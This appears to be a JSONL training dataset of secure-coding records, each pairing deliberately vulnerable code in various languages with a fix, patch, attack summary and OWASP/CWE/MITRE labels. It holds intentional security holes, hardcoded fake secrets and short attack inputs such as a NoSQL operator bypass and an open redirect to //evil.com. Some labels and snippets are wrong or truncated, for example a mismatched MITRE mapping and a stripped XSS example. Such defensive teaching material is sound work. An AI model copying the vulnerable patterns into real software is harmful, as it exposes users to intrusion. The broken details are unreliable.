{"id": "SCP-000399", "language": "Kotlin", "framework": "Android", "title": "Business logic: negative in-app purchase", "description": "A purchase flow accepts a negative quantity from client.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API3:2023 - Broken Object Property Level Authorization", "owasp_llm": "", "cwe": "CWE-840", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "order.qty = intent.getIntExtra(\"qty\", 1) // Vulnerable: negative\\", "secure_code": "val qty = intent.getIntExtra(\"qty\", 1)\\nif (qty <= 0 || qty > 100) throw IllegalArgumentException(\"bad\") // Secure\\", "patch": "--- a/Purchase.kt\\n+++ b/Purchase.kt\\n@@ -1,3 +1,4 @@\\n-order.qty = intent.getIntExtra(\"qty\", 1)\\n+val qty = intent.getIntExtra(\"qty\", 1)\\n+if (qty <= 0 || qty > 100) throw IllegalArgumentException(\"bad\")\\", "root_cause": "Client qty not bounded.", "attack": "qty=-5 => negative charge.", "impact": "Revenue loss.", "fix": "Validate qty.", "guideline": "Validate business values.", "tags": ["business-logic", "kotlin", "android", "ecommerce"], "metadata": {"domain": "Mobile", "input_source": "intent", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000004", "language": "Python", "framework": "FastAPI", "title": "Missing authentication on admin endpoint", "description": "A FastAPI endpoint exposes administrative actions without any authentication dependency.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API2:2023 - Broken Authentication", "owasp_llm": "", "cwe": "CWE-306", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Beginner", "vulnerable_code": "from fastapi import FastAPI\n\napp = FastAPI()\n\n@app.delete('/admin/users/{uid}')\ndef delete_user(uid: int):\n # Vulnerable: no auth dependency\n repository.remove_user(uid)\n return {'deleted': uid}\n", "secure_code": "from fastapi import FastAPI, Depends, HTTPException\nfrom fastapi.security import HTTPBearer\n\napp = FastAPI()\nbearer = HTTPBearer()\n\ndef require_admin(token=Depends(bearer)):\n claims = decode_token(token.credentials)\n if not claims.get('role') == 'admin':\n raise HTTPException(status_code=403, detail='forbidden')\n return claims\n\n@app.delete('/admin/users/{uid}')\ndef delete_user(uid: int, _=Depends(require_admin)):\n repository.remove_user(uid)\n return {'deleted': uid}\n", "patch": "--- a/main.py\n+++ b/main.py\n@@ -1,8 +1,16 @@\n+from fastapi import Depends, HTTPException\n+from fastapi.security import HTTPBearer\n+def require_admin(token=Depends(bearer)):\n+ claims = decode_token(token.credentials)\n+ if not claims.get('role') == 'admin':\n+ raise HTTPException(status_code=403, detail='forbidden')\n-def delete_user(uid: int):\n+def delete_user(uid: int, _=Depends(require_admin)):\n", "root_cause": "Authorization logic was never attached to the protected route.", "attack": "Any unauthenticated caller hits DELETE /admin/users/1 and removes arbitrary accounts.", "impact": "Privilege escalation to full administrative control and data loss.", "fix": "Enforce authentication and role-based authorization via route dependencies or middleware.", "guideline": "Deny by default. Every sensitive route must declare an auth dependency.", "tags": ["auth", "authorization", "fastapi", "python"], "metadata": {"domain": "REST API", "input_source": "path_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000425", "language": "YAML", "framework": "Kubernetes", "title": "ServiceAccount token automount enabled", "description": "A Pod mounts the API token by default, widening blast radius.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-668", "mitre_attack": "T1078 - Valid Accounts", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "automountServiceAccountToken: true # Vulnerable: API token in pod\\", "secure_code": "automountServiceAccountToken: false # Secure: only if needed\\", "patch": "--- a/deploy.yaml\\n+++ b/deploy.yaml\\n@@ -1,2 +1,2 @@\\n-automountServiceAccountToken: true\\n+automountServiceAccountToken: false\\", "root_cause": "API token mounted unnecessarily.", "attack": "Token theft -> API abuse.", "impact": "Cluster compromise.", "fix": "Disable automount.", "guideline": "Least privilege SA.", "tags": ["kubernetes", "yaml", "token", "serviceaccount"], "metadata": {"domain": "Kubernetes", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000143", "language": "Python", "framework": "Django", "title": "Debug mode enabled in production", "description": "A Django project runs with DEBUG=True in production, leaking stack traces.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-209", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "# settings.py\nDEBUG = True # Vulnerable in prod", "secure_code": "# settings.py\nimport os\nDEBUG = os.environ.get('DJANGO_DEBUG', 'False') == 'True' # Secure: off by default\nif not DEBUG:\n ALLOWED_HOSTS = ['app.example.com']", "patch": "--- a/settings.py\n+++ b/settings.py\n@@ -1,2 +1,5 @@\n-DEBUG = True\n+import os\n+DEBUG = os.environ.get('DJANGO_DEBUG', 'False') == 'True'\n+if not DEBUG:\n+ ALLOWED_HOSTS = ['app.example.com']", "root_cause": "DEBUG=True exposes the full traceback and settings.", "attack": "Trigger an error to read the stack and config.", "impact": "Information disclosure.", "fix": "Keep DEBUG off in production; set ALLOWED_HOSTS.", "guideline": "Never run DEBUG=True in production.", "tags": ["config", "django", "python", "info-leak"], "metadata": {"domain": "Backend", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000312", "language": "Go", "framework": "Gin", "title": "No rate limit on login", "description": "A Gin login has no throttling.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110 - Brute Force", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "r.POST(\"/login\", login) // Vulnerable: no throttle", "secure_code": "r.POST(\"/login\", rateLimiter(5, time.Minute), login) // Secure: middleware", "patch": "--- a/routes.go\n+++ b/routes.go\n@@ -1,2 +1,2 @@\n-r.POST(\"/login\", login)\n+r.POST(\"/login\", rateLimiter(5, time.Minute), login)", "root_cause": "No throttle on auth.", "attack": "Brute force credentials.", "impact": "Account takeover.", "fix": "Rate limit login.", "guideline": "Throttle auth endpoints.", "tags": ["rate-limiting", "go", "gin", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000240", "language": "Java", "framework": "Spring Boot", "title": "CORS allow-all with credentials", "description": "A Spring CORS config permits any origin together with credentials.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-942", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "config.setAllowedOriginPatterns(Arrays.asList(\"*\")); // Vulnerable\nconfig.setAllowCredentials(true);", "secure_code": "config.setAllowedOrigins(Arrays.asList(\"https://app.example.com\")); // Secure\nconfig.setAllowCredentials(true);", "patch": "--- a/Cors.java\n+++ b/Cors.java\n@@ -1,3 +1,3 @@\n-config.setAllowedOriginPatterns(Arrays.asList(\"*\"));\n+config.setAllowedOrigins(Arrays.asList(\"https://app.example.com\"));", "root_cause": "Wildcard origin with credentials.", "attack": "Malicious site reads responses with victim cookies.", "impact": "Cross-origin data theft.", "fix": "Pin origins; never * with credentials.", "guideline": "Restrict CORS origins.", "tags": ["cors", "spring", "java", "config"], "metadata": {"domain": "E-commerce", "input_source": "header", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000113", "language": "JavaScript", "framework": "Express", "title": "JWT secret hardcoded and weak", "description": "An Express app signs JWTs with a hardcoded, guessable secret.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "API2:2023 - Broken Authentication", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1600 - Weaken Encryption", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "const jwt = require('jsonwebtoken');\nconst SECRET = 'secret'; // Vulnerable\nfunction sign(u){ return jwt.sign({u}, SECRET); }", "secure_code": "const jwt = require('jsonwebtoken');\nconst SECRET = process.env.JWT_SECRET; // from env/secret manager\nfunction sign(u){ return jwt.sign({u}, SECRET, { algorithm:'HS256', expiresIn:'1h' }); }", "patch": "--- a/auth.js\n+++ b/auth.js\n@@ -1,4 +1,4 @@\n-const SECRET = 'secret';\n+const SECRET = process.env.JWT_SECRET;\n-function sign(u){ return jwt.sign({u}, SECRET); }\n+function sign(u){ return jwt.sign({u}, SECRET, { algorithm:'HS256', expiresIn:'1h' }); }", "root_cause": "A weak hardcoded secret lets attackers forge valid JWTs.", "attack": "Attacker signs their own admin token with the known secret.", "impact": "Privilege escalation, auth bypass.", "fix": "Use a strong secret from env; set algorithm and expiry.", "guideline": "Never hardcode JWT secrets; use env + HS256 + expiry.", "tags": ["jwt", "express", "javascript", "secrets"], "metadata": {"domain": "Authentication systems", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000215", "language": "Python", "framework": "Django", "title": "Clickjacking protection disabled", "description": "A Django app removes the X-Frame-Options / clickjacking middleware.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-1021", "mitre_attack": "T1185 - Browser Session Hijacking", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "MIDDLEWARE = [m for m in MIDDLEWARE if \"ClickjackingMiddleware\" not in m] # Vulnerable", "secure_code": "MIDDLEWARE = MIDDLEWARE + [\"django.middleware.clickjacking.XFrameOptionsMiddleware\"] # Secure", "patch": "--- a/settings.py\n+++ b/settings.py\n@@ -1,3 +1,3 @@\n-MIDDLEWARE = [m for m in MIDDLEWARE if \"ClickjackingMiddleware\" not in m]\n+MIDDLEWARE = MIDDLEWARE + [\"django.middleware.clickjacking.XFrameOptionsMiddleware\"]", "root_cause": "Clickjacking middleware removed.", "attack": "Frame the page to trick clicks.", "impact": "UI redress.", "fix": "Keep X-Frame-Options middleware; set DENY/SAMEORIGIN.", "guideline": "Enable clickjacking protection.", "tags": ["clickjacking", "django", "python", "config"], "metadata": {"domain": "E-commerce", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000468", "language": "Ruby", "framework": "Rails", "title": "Timing-unsafe token compare", "description": "Rails API compares tokens with ==.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-208", "mitre_attack": "T1600", "severity": "Low", "difficulty": "Intermediate", "vulnerable_code": "def valid?(t); t == session[:csrf]; end", "secure_code": "def valid?(t)\n ActiveSupport::SecurityUtils.secure_compare(t, session[:csrf])\nend", "patch": "--- a/csrf.rb\n+++ b/csrf.rb\n@@ -1,2 +1,3 @@\n-def valid?(t); t == session[:csrf]; end\n+def valid?(t)\n+ ActiveSupport::SecurityUtils.secure_compare(t, session[:csrf])\n+end", "root_cause": "Non-constant-time compare.", "attack": "Timing attack on CSRF.", "impact": "Token forgery.", "fix": "Use secure_compare.", "guideline": "Constant-time compare.", "tags": ["crypto", "rails", "ruby", "timing"], "metadata": {"auth_required": false, "domain": "Authentication systems", "input_source": "cookie"}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000370", "language": "Rust", "framework": "Actix", "title": "Hardcoded secret in source", "description": "A Rust service hardcodes an API key.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1552.001 - Unsecured Credentials: Credentials In Files", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "const API_KEY: &str = \"sk_live_7b6a5948\"; // Vulnerable\\", "secure_code": "let api_key = std::env::var(\"API_KEY\").expect(\"API_KEY\"); // Secure: env\\", "patch": "--- a/config.rs\\n+++ b/config.rs\\n@@ -1,2 +1,2 @@\\n-const API_KEY: &str = \"sk_live_7b6a5948\";\\n+let api_key = std::env::var(\"API_KEY\").expect(\"API_KEY\");\\", "root_cause": "Secret in source.", "attack": "Repo access reveals key.", "impact": "Key compromise.", "fix": "Use env/secret.", "guideline": "Externalize secrets.", "tags": ["secrets", "rust", "actix", "config"], "metadata": {"domain": "Banking", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000343", "language": "C#", "framework": "ASP.NET Core", "title": "Improper certificate validation (ServerCertificateCustomValidationCallback)", "description": "An HttpClient accepts any server certificate.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-295", "mitre_attack": "T1557 - Adversary-in-the-Middle", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "handler.ServerCertificateCustomValidationCallback = (m, c, ch, e) => true; // Vulnerable: accept all\\", "secure_code": "// Use default validation; do not override the callback\\nusing var client = new HttpClient(); // Secure: validates chain\\", "patch": "--- a/Client.cs\\n+++ b/Client.cs\\n@@ -1,3 +1,3 @@\\n-handler.ServerCertificateCustomValidationCallback = (m, c, ch, e) => true;\\n+// Use default validation; do not override the callback\\", "root_cause": "Certificate validation disabled.", "attack": "MITM intercepts TLS.", "impact": "Credential/data theft.", "fix": "Keep default validation.", "guideline": "Always verify TLS peers.", "tags": ["tls", "csharp", "aspnet", "mitm"], "metadata": {"domain": "Banking", "input_source": "network", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000377", "language": "Rust", "framework": "Actix", "title": "Weak random for token (rand::random default)", "description": "A token generator uses a weak RNG.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-338", "mitre_attack": "T1600 - Weaken Encryption", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "let tok = rand::random::().to_string(); // Vulnerable if thread_rng weak\\", "secure_code": "use rand::rngs::OsRng;\\nlet mut buf = [0u8; 32]; OsRng.fill_bytes(&mut buf); // Secure: OS CSPRNG\\", "patch": "--- a/token.rs\\n+++ b/token.rs\\n@@ -1,3 +1,4 @@\\n-let tok = rand::random::().to_string();\\n+use rand::rngs::OsRng;\\n+let mut buf = [0u8; 32]; OsRng.fill_bytes(&mut buf);\\", "root_cause": "Weak RNG token.", "attack": "Predict token.", "impact": "Token forgery.", "fix": "Use OsRng/getrandom.", "guideline": "Use CSPRNG for tokens.", "tags": ["crypto", "rust", "actix", "tokens"], "metadata": {"domain": "Authentication systems", "input_source": "server", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000102", "language": "C", "framework": "Embedded", "title": "Hardcoded WiFi credentials in firmware", "description": "An embedded IoT firmware stores WiFi credentials as string literals in flash.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1552.001 - Unsecured Credentials: Credentials In Files", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "const char *SSID = \"HomeNet\";\nconst char *PSK = \"password123\"; // Vulnerable: hardcoded\n", "secure_code": "char ssid[33], psk[64];\n// Secure: load from secure element / provisioning at first boot\nif (load_credentials(ssid, psk) != 0) {\n enter_provisioning_mode();\n}\n", "patch": "--- a/wifi.c\n+++ b/wifi.c\n@@ -1,3 +1,6 @@\n-const char *SSID = \"HomeNet\";\n-const char *PSK = \"password123\";\n+char ssid[33], psk[64];\n+if (load_credentials(ssid, psk) != 0) {\n+ enter_provisioning_mode();\n+}\n", "root_cause": "Credentials compiled into firmware are recoverable by dumping flash.", "attack": "Attacker extracts the firmware and reads the WiFi PSK for network access.", "impact": "Network compromise via recovered credentials.", "fix": "Store credentials in a secure element; provision at first boot.", "guideline": "Never store secrets in firmware; use secure provisioning.", "tags": ["iot", "c", "secrets", "firmware"], "metadata": {"domain": "IoT", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000298", "language": "Scala", "framework": "Akka HTTP", "title": "No rate limit on login", "description": "An Akka HTTP login route has no throttling.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110 - Brute Force", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "path(\"login\") { post { entity(as[Login]) { l => complete(auth(l)) } } } // Vulnerable: no throttle", "secure_code": "path(\"login\") { post { throttle(5, 1.minute) { // Secure\n entity(as[Login]) { l => complete(auth(l)) } } } }", "patch": "--- a/LoginRoute.scala\n+++ b/LoginRoute.scala\n@@ -1,3 +1,4 @@\n-path(\"login\") { post { entity(as[Login]) { l => complete(auth(l)) } } }\n+path(\"login\") { post { throttle(5, 1.minute) {\n+ entity(as[Login]) { l => complete(auth(l)) } } } }", "root_cause": "No throttle on auth.", "attack": "Brute force credentials.", "impact": "Account takeover.", "fix": "Throttle login.", "guideline": "Rate limit auth.", "tags": ["rate-limiting", "scala", "akka", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000014", "language": "JavaScript", "framework": "Express", "title": "NoSQL injection in MongoDB query", "description": "An Express route passes the raw request body into a MongoDB filter, enabling operator injection.", "owasp": "A03:2021 - Injection", "owasp_api": "API3:2023 - Broken Object Property Level Authorization", "owasp_llm": "", "cwe": "CWE-943", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "app.post('/login', (req, res) => {\n const { user, pass } = req.body;\n // Vulnerable: body used directly as query\n db.users.findOne({ user, pass }, (e, doc) => res.json(doc));\n});\n", "secure_code": "app.post('/login', (req, res) => {\n const user = String(req.body.user || '');\n const pass = String(req.body.pass || '');\n if (!user || !pass) return res.status(400).end();\n // Secure: strict string values, no operators\n db.users.findOne({ user: user, pass: pass }, (e, doc) => res.json(doc));\n});\n", "patch": "--- a/routes.js\n+++ b/routes.js\n@@ -2,6 +2,8 @@\n- db.users.findOne({ user, pass }, cb);\n+ const user = String(req.body.user || '');\n+ const pass = String(req.body.pass || '');\n+ db.users.findOne({ user: user, pass: pass }, cb);\n", "root_cause": "Untrusted JSON is used as a query object, so operators like $gt or $ne can be injected.", "attack": "Send {\"user\":{\"$ne\":null},\"pass\":{\"$ne\":null}} to bypass authentication.", "impact": "Authentication bypass and data disclosure.", "fix": "Validate and cast inputs to expected scalar types; reject nested objects/operators.", "guideline": "Never pass raw request bodies into query builders; validate shape and types.", "tags": ["nosql", "injection", "express", "javascript"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000319", "language": "Go", "framework": "Gin", "title": "Deserialization of untrusted JSON with reflection", "description": "A Go handler decodes JSON into an interface{} enabling type confusion.", "owasp": "A08:2021 - Software and Data Integrity Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-502", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Advanced", "vulnerable_code": "var data interface{}\njson.Unmarshal(body, &data) // Vulnerable: loose typing", "secure_code": "var data StrictDTO\nif err := json.Unmarshal(body, &data); err != nil { c.AbortWithStatus(400); return } // Secure: typed", "patch": "--- a/handler.go\n+++ b/handler.go\n@@ -1,3 +1,4 @@\n-var data interface{}\n-json.Unmarshal(body, &data)\n+var data StrictDTO\n+if err := json.Unmarshal(body, &data); err != nil { c.AbortWithStatus(400); return }", "root_cause": "Untyped JSON decode.", "attack": "Type confusion in downstream logic.", "impact": "Logic abuse.", "fix": "Use strict DTOs.", "guideline": "Type all JSON input.", "tags": ["deserialization", "go", "gin", "injection"], "metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000269", "language": "C", "framework": "POSIX", "title": "Race condition on shared file", "description": "A C program checks then opens a file (TOCTOU).", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-367", "mitre_attack": "T1203 - Exploitation for Client Execution", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "if (access(path, R_OK) == 0) { fd = open(path, O_RDONLY); } // Vulnerable: TOCTOU", "secure_code": "fd = open(path, O_RDONLY);\nif (fd >= 0) { struct stat st; fstat(fd, &st); } // Secure: fd-based", "patch": "--- a/open.c\n+++ b/open.c\n@@ -1,3 +1,4 @@\n-if (access(path, R_OK) == 0) { fd = open(path, O_RDONLY); }\n+fd = open(path, O_RDONLY);\n+if (fd >= 0) { struct stat st; fstat(fd, &st); }", "root_cause": "Check-then-open race.", "attack": "Swap file between access and open.", "impact": "Arbitrary read.", "fix": "Operate on fd.", "guideline": "Avoid TOCTOU with fd.", "tags": ["toctou", "c", "race-condition"], "metadata": {"domain": "IoT", "input_source": "file", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000120", "language": "Kotlin", "framework": "Android", "title": "WebView addJavascriptInterface abuse", "description": "An Android WebView exposes a Java object to JS, enabling native calls.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-749", "mitre_attack": "T1398 - Mobile Application Exploitation", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "web.addJavascriptInterface(NativeBridge(), \"bridge\") // Vulnerable\nweb.loadUrl(intent.getStringExtra(\"url\")!!)", "secure_code": "if (Build.VERSION.SDK_INT >= 24) {\n web.settings.javaScriptEnabled = false // Secure\n} else web.removeJavascriptInterface(\"bridge\")\nif (URL(url).host == \"trusted.example.com\") web.loadUrl(url)", "patch": "--- a/MainActivity.kt\n+++ b/MainActivity.kt\n@@ -1,3 +1,5 @@\n-web.addJavascriptInterface(NativeBridge(), \"bridge\")\n-web.loadUrl(intent.getStringExtra(\"url\")!!)\n+if (Build.VERSION.SDK_INT >= 24) web.settings.javaScriptEnabled = false\n+else web.removeJavascriptInterface(\"bridge\")\n+if (URL(url).host == \"trusted.example.com\") web.loadUrl(url)", "root_cause": "A JS bridge on a WebView loading untrusted URLs allows native method calls.", "attack": "Malicious page calls bridge.sensitiveMethod().", "impact": "Native code execution in app context.", "fix": "Disable JS bridge unless required; validate URLs.", "guideline": "Avoid addJavascriptInterface with untrusted content.", "tags": ["android", "kotlin", "webview", "mobile"], "metadata": {"domain": "IoT", "input_source": "intent", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000112", "language": "Java", "framework": "Spring Boot", "title": "Insecure JWT alg none", "description": "A Spring JWT parser accepts the 'none' algorithm, forging tokens.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API2:2023 - Broken Authentication", "owasp_llm": "", "cwe": "CWE-345", "mitre_attack": "T1609 - Container Administration Command", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "public Claims parse(String t) {\n // Vulnerable: none allowed\n return Jwts.parser().parseClaimsJwt(t).getBody();\n}", "secure_code": "public Claims parse(String t, Key k) {\n // Secure: pin algorithm\n return Jwts.parserBuilder().setSigningKey(k)\n .require(\"alg\",\"HS256\").build().parseClaimsJws(t).getBody();\n}", "patch": "--- a/Jwt.java\n+++ b/Jwt.java\n@@ -1,4 +1,5 @@\n- return Jwts.parser().parseClaimsJwt(t).getBody();\n+ return Jwts.parserBuilder().setSigningKey(k)\n+ .require(\"alg\",\"HS256\").build().parseClaimsJws(t).getBody();", "root_cause": "No algorithm pinning lets attackers use alg=none.", "attack": "Attacker sends a token with alg=none and arbitrary claims.", "impact": "Full auth bypass.", "fix": "Pin and verify the signing algorithm.", "guideline": "Never accept alg=none; pin algorithm.", "tags": ["jwt", "spring", "java", "auth-bypass"], "metadata": {"domain": "Authentication systems", "input_source": "header", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000048", "language": "PHP", "framework": "Laravel", "title": "Unescaped output in Blade template (XSS)", "description": "A Blade view uses {!! !!} to render user content, bypassing Laravel's auto-escaping.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-79", "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "\n{!! $user->bio !!}
{{-- Vulnerable: raw, no escaping --}}\n", "secure_code": "\n{{ $user->bio }}
{{-- Secure: auto-escaped --}}\n", "patch": "--- a/profile.blade.php\n+++ b/profile.blade.php\n@@ -1,2 +1,2 @@\n-{!! $user->bio !!}
\n+{{ $user->bio }}
\n", "root_cause": "Blade's raw echo ({!! !!}), which skips escaping, is used on untrusted data.", "attack": "User sets bio to , executed for every profile viewer.", "impact": "Stored XSS, session theft.", "fix": "Use escaped echo ({{ }}) for untrusted data; sanitize only when HTML is genuinely needed.", "guideline": "Default to escaped output; only use {!! !!} with vetted, sanitized HTML.", "tags": ["xss", "laravel", "php", "blade"], "metadata": {"domain": "E-commerce", "input_source": "db", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000016", "language": "JavaScript", "framework": "Express", "title": "Missing rate limiting on login", "description": "A login endpoint has no rate limiting, allowing unlimited credential guessing.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110 - Brute Force", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "app.post('/login', async (req, res) => {\n const { user, pass } = req.body;\n const ok = await verify(user, pass);\n res.json({ ok });\n});\n", "secure_code": "const rateLimit = require('express-rate-limit');\nconst loginLimiter = rateLimit({\n windowMs: 15 * 60 * 1000, max: 5, standardHeaders: true, legacyHeaders: false });\n\napp.post('/login', loginLimiter, async (req, res) => {\n const { user, pass } = req.body;\n const ok = await verify(user, pass);\n res.json({ ok });\n});\n", "patch": "--- a/routes.js\n+++ b/routes.js\n@@ -1,3 +1,7 @@\n+const rateLimit = require('express-rate-limit');\n+const loginLimiter = rateLimit({ windowMs: 15*60*1000, max: 5 });\n-app.post('/login', async (req, res) => {\n+app.post('/login', loginLimiter, async (req, res) => {\n", "root_cause": "No throttling on an authentication endpoint permits automated brute-force/credential-stuffing.", "attack": "Attacker scripts millions of password attempts against known usernames.", "impact": "Account takeover via brute force or credential stuffing.", "fix": "Apply per-IP and per-account rate limiting plus lockout/backoff and MFA.", "guideline": "Throttle auth endpoints; add lockout, CAPTCHA, and MFA for sensitive flows.", "tags": ["rate-limiting", "express", "javascript", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000017", "language": "JavaScript", "framework": "Express", "title": "Open redirect via unvalidated next parameter", "description": "A post-login redirect uses a user-supplied 'next' parameter without validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-601", "mitre_attack": "T1566 - Phishing", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "app.post('/login', (req, res) => {\n authenticate(req.body);\n // Vulnerable: arbitrary redirect target\n res.redirect(req.body.next || '/home');\n});\n", "secure_code": "function isSafeRedirect(target) {\n return typeof target === 'string'\n && target.startsWith('/') && !target.startsWith('//');\n}\n\napp.post('/login', (req, res) => {\n authenticate(req.body);\n const next = req.body.next;\n res.redirect(isSafeRedirect(next) ? next : '/home');\n});\n", "patch": "--- a/routes.js\n+++ b/routes.js\n@@ -2,4 +2,9 @@\n- res.redirect(req.body.next || '/home');\n+ function isSafeRedirect(t){return typeof t==='string'&&t.startsWith('/')&&!t.startsWith('//');}\n+ const next = req.body.next;\n+ res.redirect(isSafeRedirect(next) ? next : '/home');\n", "root_cause": "Redirect target is taken from user input without confirming it is a same-origin relative path.", "attack": "Phishing link uses next=//evil.com to send victims to a credential-harvesting clone after login.", "impact": "Phishing, credential theft, and loss of user trust.", "fix": "Allowlist internal paths only; reject absolute/protocol-relative URLs.", "guideline": "Validate redirect targets against an allowlist of same-origin relative paths.", "tags": ["open-redirect", "express", "javascript", "phishing"], "metadata": {"domain": "Authentication systems", "input_source": "form_field", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
